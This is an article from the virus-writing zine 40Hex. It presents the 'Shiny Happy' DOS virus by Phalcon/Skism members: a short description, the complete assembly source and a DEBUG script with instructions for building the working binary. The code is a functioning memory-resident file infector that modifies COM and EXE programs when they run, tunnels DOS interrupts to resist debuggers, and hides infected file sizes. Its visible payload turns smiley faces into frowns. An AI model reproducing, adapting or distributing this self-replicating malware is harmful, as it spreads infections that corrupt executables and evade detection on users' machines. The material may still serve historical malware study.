40Hex Issue 10 Volume 3 Number 1 File 002 The Phalcon/Skism Shiny Happy Virus This virus was written jointly by Dark Angel and Hellraiser about six months ago. It is a simple semi-stealth virus that doesn't actually replace interrupt 21h's vector in the interrupt table. Instead, it finds the DOS interrupt 21h entry point and encodes an int 3 as the first byte. Consequently, it is highly debugger-resistant. It also hides the file size increase, albeit only in DOS directory listings. This way, it avoids the CHKDSK cross-linking errors common to viruses hooking FCB find first/next. The virus infects upon file executions. A debug script follows the source code. As always, type "DEBUG < DEBUG.SCR > NUL" to create the virus from the debug script. The virus always activates, hooking the keyboard interrupt. When it detects a happy face (emoticon), the virus changes it to a frown. The Shiny Happy residency test follows: Run the cursor across the following line: :-) =) \|-) ;) :*) If any of the faces changed to frowns, then Shiny Happy is loose on your system. -)Gheap ------------------------------------------------------------------------------- ; The Shiny Happy Virus ; By Hellraiser and Dark Angel of Phalcon/Skism .model tiny .code id = '52' timeid = 18h shiny: call next next: pop bp push ds push es xor di,di mov ds,di cmp word ptr ds:[1*4],offset int1_2 ; installation check jz return mov ax,es dec ax sub word ptr ds:[413h],(endheap-shiny+1023)/1024 mov ds,ax sub word ptr ds:[3],((endheap-shiny+1023)/1024)*64 sub word ptr ds:[12h],((endheap-shiny+1023)/1024)*64 mov es,word ptr ds:[12h] push cs pop ds lea si,[bp+shiny-next] mov cx,(endheap-shiny+1)/2 rep movsw push cs lea ax,[bp+return-next] push ax push es mov ax,offset highentry push ax retf return: cmp sp,id-4 jz returnEXE returnCOM: pop es pop ds mov di,100h push di lea si,[bp+offset save3-next] movsw movsb retn returnEXE: pop es pop ds mov ax,es add ax,10h add word ptr cs:[bp+origCSIP+2-next],ax cli add ax,word ptr cs:[bp+origSPSS-next] mov ss,ax mov sp,word ptr cs:[bp+origSPSS+2-next] sti db 0eah origCSIP db ? save3 db 0cdh,20h,0 origSPSS dd ? highentry: mov cs:in21flag,0 xor ax,ax mov ds,ax les ax,ds:[9*4] mov word ptr cs:oldint9,ax mov word ptr cs:oldint9+2,es mov ds:[9*4],offset int9 mov ds:[9*4+2],cs les ax,ds:[21h*4] mov word ptr cs:oldint21,ax mov word ptr cs:oldint21+2,es mov word ptr ds:[1*4],offset int1 mov ds:[1*4+2],cs mov ah, 52h int 21h mov ax,es:[bx-2] mov word ptr cs:tunnel21+2, ax mov word ptr cs:dosseg_, es pushf pop ax or ah,1 push ax popf mov ah,0bh pushf db 09Ah oldint21 dd ? mov word ptr ds:[3*4],offset int3 mov ds:[3*4+2],cs mov word ptr ds:[1*4],offset int1_2 les bx,cs:tunnel21 mov al,0CCh xchg al,byte ptr es:[bx] mov byte ptr cs:save1,al retf authors db 'Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism',0 int1: push bp mov bp,sp push ax mov ax, [bp+4] cmp ax,word ptr cs:tunnel21+2 jb foundint21 db 3dh ; cmp ax, xxxx dosseg_ dw ? ja exitint1 foundint21: mov word ptr cs:tunnel21+2,ax mov ax,[bp+2] mov word ptr cs:tunnel21,ax and byte ptr [bp+7], 0FEh exitint1: pop ax pop bp iret int1_2: push bp mov bp,sp push ax mov ax, [bp+4] cmp ax,word ptr cs:tunnel21+2 ja exitint1_2 mov ax, [bp+2] cmp ax,word ptr cs:tunnel21 jbe exitint1_2 push ds push bx lds bx,cs:tunnel21 mov byte ptr ds:[bx],0CCh pop bx pop ds and byte ptr [bp+7],0FEh exitint1_2: pop ax pop bp iret infect_others: mov ax,4301h push ax push ds push dx xor cx,cx call callint21 mov ax,3d02h call callint21 xchg ax,bx mov ax,5700h call callint21 push cx push dx mov ah,3fh mov cx,1ah push cs pop ds push cs pop es mov dx,offset readbuffer call callint21 mov ax,4202h xor cx,cx cwd int 21h mov si,offset readbuffer cmp word ptr [si],'ZM' jnz checkCOM checkEXE: cmp word ptr [si+10h],id jz goalreadyinfected mov di, offset OrigCSIP mov si, offset readbuffer+14h movsw movsw sub si, 18h-0eh movsw movsw push bx mov bx, word ptr readbuffer + 8 mov cl, 4 shl bx, cl push dx push ax sub ax, bx sbb dx, 0 mov cx, 10h div cx mov word ptr readbuffer+14h, dx mov word ptr readbuffer+16h, ax mov word ptr readbuffer+0Eh, ax mov word ptr readbuffer+10h, id pop ax pop dx pop bx add ax, heap-shiny adc dx, 0 mov cl, 9 push ax shr ax, cl ror dx, cl stc adc dx, ax pop ax and ah, 1 mov word ptr readbuffer+4, dx mov word ptr readbuffer+2, ax mov cx,1ah jmp short finishinfection checkCOM: xchg cx,ax sub cx,heap-shiny+3 cmp cx,word ptr [si+1] goalreadyinfected: jz alreadyinfected add cx,heap-shiny push si mov di,offset save3 movsw movsb pop di mov al,0e9h stosb mov ax,3 ; cx holds bytes to write xchg ax,cx stosw finishinfection: push cx mov ah,40h mov cx,heap-shiny cwd ; xor dx,dx call callint21 mov ax,4200h xor cx,cx cwd int 21h mov ah,40h pop cx mov dx,offset readbuffer call callint21 mov ax,5701h pop dx pop cx and cl,0E0h or cl,timeid call callint21 jmp doneinfect alreadyinfected: pop ax pop ax doneinfect: mov ah,3eh call callint21 pop dx pop ds pop ax pop cx call callint21 exitexecute: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jmp exitint21 execute: pushf push ax push bx push cx push dx push si push di push ds push es cld mov ax,4300h call callint21 jc exitexecute push cx jmp infect_others int3: push bp mov bp,sp cmp cs:in21flag,0 jnz leaveint21 inc cs:in21flag cmp ah,11h jz findfirstnext cmp ah,12h jz findfirstnext cmp ax,4b00h jz execute exitint21: dec cs:in21flag leaveint21: or byte ptr [bp+7],1 ; set trap flag upon return dec word ptr [bp+2] ; decrement offset call restoreint21 pop bp iret callint21: pushf call dword ptr cs:tunnel21 ret restoreint21: push ds push ax push bx lds bx,cs:tunnel21 mov al,byte ptr cs:save1 mov ds:[bx],al pop bx pop ax pop ds ret findfirstnext: int 21h ; pre-chain interrupt ; flags [bp+12] ; segment [bp+10] ; offset [bp+8] ; flags [bp+6] ; segment [bp+4] ; offset [bp+2] ; bp [bp] pushf ; save results pop [bp+6+6] pop bp push ax push bx push ds push es inc al jz notDOS mov ah,51h ; Get active PSP int 21h mov es,bx cmp bx,es:[16h] ; DOS calling it? jne notDOS mov ah,2fh ; DTA -> ES:BX int 21h push es pop ds cmp byte ptr [bx],0FFh jnz regularFCB add bx,7 regularFCB: cmp word ptr [bx+9],'OC' jz checkinf cmp word ptr [bx+9],'XE' jnz notDOS checkinf: mov al,byte ptr [bx+23] and al,1Fh cmp al,timeid jnz notDOS subtract: sub word ptr [bx+29],heap-shiny sbb word ptr [bx+31],0 notDOS: pop es pop ds pop bx pop ax dec cs:in21flag cli add sp,6 iret int9: pushf ; save flags, regs, etc... push ax push bx push cx push dx xor bx,bx mov ah,0fh ; get video mode int 10h mov ah,03h ; get curs pos int 10h call getattrib cmp al,')' ; happy?? jne audi5000 ; no mov cs:eyesflag,0 beforeloveshack: call getattrib ; see if there is a nose loveshack: cmp al,':' ; shiny??? je realeyes cmp al,'=' ; check for even =) je realeyes cmp al,'|' je realeyes cmp al,';' je realeyes cmp cs:eyesflag,0 jnz audi5001 cmp al,'(' jz audi5001 inc cs:eyesflag inc bl jmp short beforeloveshack realeyes: stc adc dl,bl ; add extra backspace if so mov ah,02h int 10h mov ax,0a28h ; 0ah, '(' ; write frown mov cx,1 int 10h jmp audi5000 audi5001: stc adc dl,bl audi5000: inc dl ; set curs pos mov ah,02h int 10h pop dx ; restore all stuff pop cx pop bx pop ax popf db 0eah oldint9 dd ? ; reads the char at the current cursorpos - 1 getattrib: dec dl ; set curs pos mov ah,02h int 10h mov ah,08h ; get char at curs int 10h ret heap: save1 db ? tunnel21 dd ? in21flag db ? eyesflag db ? readbuffer db 1ah dup (?) endheap: end shiny ------------------------------------------------------------------------------- n shiny.com e 0100 E8 00 00 5D 1E 06 33 FF 8E DF 81 3E 04 00 4D 01 e 0110 74 2D 8C C0 48 83 2E 13 04 01 8E D8 83 2E 03 00 e 0120 40 83 2E 12 00 40 8E 06 12 00 0E 1F 8D 76 FD B9 e 0130 DD 01 F3 A5 0E 8D 46 3C 50 06 B8 71 00 50 CB 81 e 0140 FC 2E 35 74 0C 07 1F BF 00 01 57 8D 76 67 A5 A4 e 0150 C3 07 1F 8C C0 05 10 00 2E 01 46 68 FA 2E 03 46 e 0160 6A 8E D0 2E 8B 66 6C FB EA 00 CD 20 00 00 00 00 e 0170 00 2E C6 06 9E 03 00 33 C0 8E D8 C4 06 24 00 2E e 0180 A3 8A 03 2E 8C 06 8C 03 C7 06 24 00 26 03 8C 0E e 0190 26 00 C4 06 84 00 2E A3 C5 00 2E 8C 06 C7 00 C7 e 01A0 06 04 00 28 01 8C 0E 06 00 B4 52 CD 21 26 8B 47 e 01B0 FE 2E A3 9C 03 2E 8C 06 37 01 9C 58 80 CC 01 50 e 01C0 9D B4 0B 9C 9A 00 00 00 00 C7 06 0C 00 85 02 8C e 01D0 0E 0E 00 C7 06 04 00 4D 01 2E C4 1E 9A 03 B0 CC e 01E0 26 86 07 2E A2 99 03 CB 53 68 69 6E 79 20 48 61 e 01F0 70 70 79 20 56 69 72 75 73 20 62 79 20 48 65 6C e 0200 6C 72 61 69 73 65 72 20 61 6E 64 20 44 61 72 6B e 0210 20 41 6E 67 65 6C 20 6F 66 20 50 68 61 6C 63 6F e 0220 6E 2F 53 6B 69 73 6D 00 55 8B EC 50 8B 46 04 2E e 0230 3B 06 9C 03 72 05 3D 00 00 77 0F 2E A3 9C 03 8B e 0240 46 02 2E A3 9A 03 80 66 07 FE 58 5D CF 55 8B EC e 0250 50 8B 46 04 2E 3B 06 9C 03 77 1A 8B 46 02 2E 3B e 0260 06 9A 03 76 10 1E 53 2E C5 1E 9A 03 C6 07 CC 5B e 0270 1F 80 66 07 FE 58 5D CF B8 01 43 50 1E 52 33 C9 e 0280 E8 32 01 B8 02 3D E8 2C 01 93 B8 00 57 E8 25 01 e 0290 51 52 B4 3F B9 1A 00 0E 1F 0E 07 BA A0 03 E8 14 e 02A0 01 B8 02 42 33 C9 99 CD 21 BE A0 03 81 3C 4D 5A e 02B0 75 5C 81 7C 10 32 35 74 5D BF 69 00 BE B4 03 A5 e 02C0 A5 83 EE 0A A5 A5 53 8B 1E A8 03 B1 04 D3 E3 52 e 02D0 50 2B C3 83 DA 00 B9 10 00 F7 F1 89 16 B4 03 A3 e 02E0 B6 03 A3 AE 03 C7 06 B0 03 32 35 58 5A 5B 05 99 e 02F0 03 83 D2 00 B1 09 50 D3 E8 D3 CA F9 13 D0 58 80 e 0300 E4 01 89 16 A4 03 A3 A2 03 B9 1A 00 EB 1D 91 81 e 0310 E9 9C 03 3B 4C 01 74 3E 81 C1 99 03 56 BF 6A 00 e 0320 A5 A4 5F B0 E9 AA B8 03 00 91 AB 51 B4 40 B9 99 e 0330 03 99 E8 80 00 B8 00 42 33 C9 99 CD 21 B4 40 59 e 0340 BA A0 03 E8 6F 00 B8 01 57 5A 59 80 E1 E0 80 C9 e 0350 18 E8 61 00 EB 02 58 58 B4 3E E8 58 00 5A 1F 58 e 0360 59 E8 51 00 07 1F 5F 5E 5A 59 5B 58 9D EB 35 9C e 0370 50 53 51 52 56 57 1E 06 FC B8 00 43 E8 36 00 72 e 0380 E3 51 E9 F3 FE 55 8B EC 2E 80 3E 9E 03 00 75 19 e 0390 2E FE 06 9E 03 80 FC 11 74 34 80 FC 12 74 2F 3D e 03A0 00 4B 74 CB 2E FE 0E 9E 03 80 4E 07 01 FF 4E 02 e 03B0 E8 09 00 5D CF 9C 2E FF 1E 9A 03 C3 1E 50 53 2E e 03C0 C5 1E 9A 03 2E A0 99 03 88 07 5B 58 1F C3 CD 21 e 03D0 9C 8F 46 0C 5D 50 53 1E 06 FE C0 74 3B B4 51 CD e 03E0 21 8E C3 26 3B 1E 16 00 75 2E B4 2F CD 21 06 1F e 03F0 80 3F FF 75 03 83 C3 07 81 7F 09 43 4F 74 07 81 e 0400 7F 09 45 58 75 12 8A 47 17 24 1F 3C 18 75 09 81 e 0410 6F 1D 99 03 83 5F 1F 00 07 1F 5B 58 2E FE 0E 9E e 0420 03 FA 83 C4 06 CF 9C 50 53 51 52 33 DB B4 0F CD e 0430 10 B4 03 CD 10 E8 56 00 3C 29 75 42 2E C6 06 9F e 0440 03 00 E8 49 00 3C 3A 74 21 3C 3D 74 1D 3C 7C 74 e 0450 19 3C 3B 74 15 2E 80 3E 9F 03 00 75 1E 3C 28 74 e 0460 1A 2E FE 06 9F 03 FE C3 EB D8 F9 12 D3 B4 02 CD e 0470 10 B8 28 0A B9 01 00 CD 10 EB 03 F9 12 D3 FE C2 e 0480 B4 02 CD 10 5A 59 5B 58 9D EA 00 00 00 00 FE CA e 0490 B4 02 CD 10 B4 08 CD 10 C3 rcx 0399 w q -------------------------------------------------------------------------------